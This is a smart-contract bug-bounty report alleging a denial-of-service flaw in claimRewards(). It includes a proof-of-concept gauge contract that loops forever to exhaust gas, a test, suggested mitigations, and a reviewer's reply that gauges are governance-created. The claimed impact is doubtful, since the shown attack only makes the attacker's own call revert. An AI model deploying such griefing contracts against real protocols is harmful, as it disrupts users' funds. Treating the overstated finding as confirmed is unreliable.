Potential DOS attack in BaseManagedNFTStrategyUpgradeable's claimRewards() Function

[hats-bug-reporter[bot]]

Github username: @rilwan99 Twitter username: Ril11111 Submission hash (on-chain): 0xb7c7921d6fccefede3cb8225755ae8f4f087b34c654ae953d85bf28d04e66f08 Severity: medium

Description: Description\ The BaseManagedNFTStrategyUpgradeable.sol contract contains claimRewards(address[] calldata gauges_) that allows any user to claim rewards earned by the strategy from gauges. This function is marked as external, making it publicly accessible.

function claimRewards(address[] calldata gauges_) external {
    IVoterV1_2(voter).claimRewards(gauges_);
}

This function invokes claimRewards from VoterUpgradeableV1_2.sol:

function claimRewards(address[] memory _gauges) external {
    for (uint256 i = 0; i < _gauges.length; i++) {
        IGauge(_gauges[i]).getReward(msg.sender);
    }
}

The implementation allows arbitrary addresses to be passed as gauges, which are then called without validation. This creates a potential vector for Denial of Service (DoS) attacks.

Attack Scenario\

1. Gas Exhaustion Attack: A malicious user could invoke claimRewards() on BaseManagedNFTStrategyUpgradeable.sol, passing an array containing addresses of contracts that implement a malicious getRewards() function. This function could be designed to consume excessive gas (e.g., through an infinite loop), causing the transaction to run out of gas and fail.
2. Array Size Attack: An attacker could deploy numerous contracts (at a trivial cost) that implement the getRewards() function. By passing a large array of these addresses to claimRewards(), they could cause the transaction to run out of gas due to the unchecked loop in VoterUpgradeable.sol.

Impact

Successful exploitation could render the claimRewards() function in BaseManagedNFTStrategyUpgradeable.sol unusable, preventing legitimate users from claiming their rewards and disrupting the normal operation of the protocol.

Attachments

1. Proof of Concept (PoC) File

// SPDX-License-Identifier: MIT
pragma solidity =0.8.19;

contract MaliciousGauge {

    constructor() {}

    function getReward(address account) external {
        // Infinite loop to exhaust gas
        while(true) {
            // Perform some meaningless operation to consume gas
            account = address(uint160(uint256(keccak256(abi.encodePacked(account)))));
        }
    }
}

  describe('#DOS attack', async () => {
    it('Should revert due to out of gas when calling claimRewards with malicious gauge', async () => {
      const factory = await ethers.getContractFactory('MaliciousGauge');
      const maliciousGauge: MaliciousGauge = await factory.connect(signers.deployer).deploy();
      const maliciousGaugeAddress = await maliciousGauge.getAddress();
      const maliciousGauges = [maliciousGaugeAddress];

      // Attempt to call claimRewards with the malicious gauge address
      await expect(strategy.connect(signers.otherUser1).claimRewards(maliciousGauges)).to.be.be.reverted;
    });
  });

2. Revised Code File (Optional)

The following methods could be used to mitigate this vulnerability:

1. Access Control:

Implement strict access control on the claimRewards function. Only allow trusted addresses or roles to call this function.

function claimRewards(address[] calldata gauges_) external onlyAuthorized {
    IVoterV1_2(voter).claimRewards(gauges_);
}

2. Whitelist Gauges:

Maintain a whitelist of valid gauge addresses. Check each address against this whitelist before calling getReward()

mapping(address => bool) public whitelistedGauges;

function claimRewards(address[] calldata gauges_) external {
    for (uint i = 0; i < gauges_.length; i++) {
        require(whitelistedGauges[gauges_[i]], "Not a whitelisted gauge");
    }
    IVoterV1_2(voter).claimRewards(gauges_);
}

[0xmahdirostami]

Gauges can only be created by the governance

[rilwan99]

@0xmahdirostami Yes, that is correct. However, the implementation lacks validation checks to verify that the gauge addresses passed as parameters during the function invocation correspond to the addresses of gauges created by the governance contract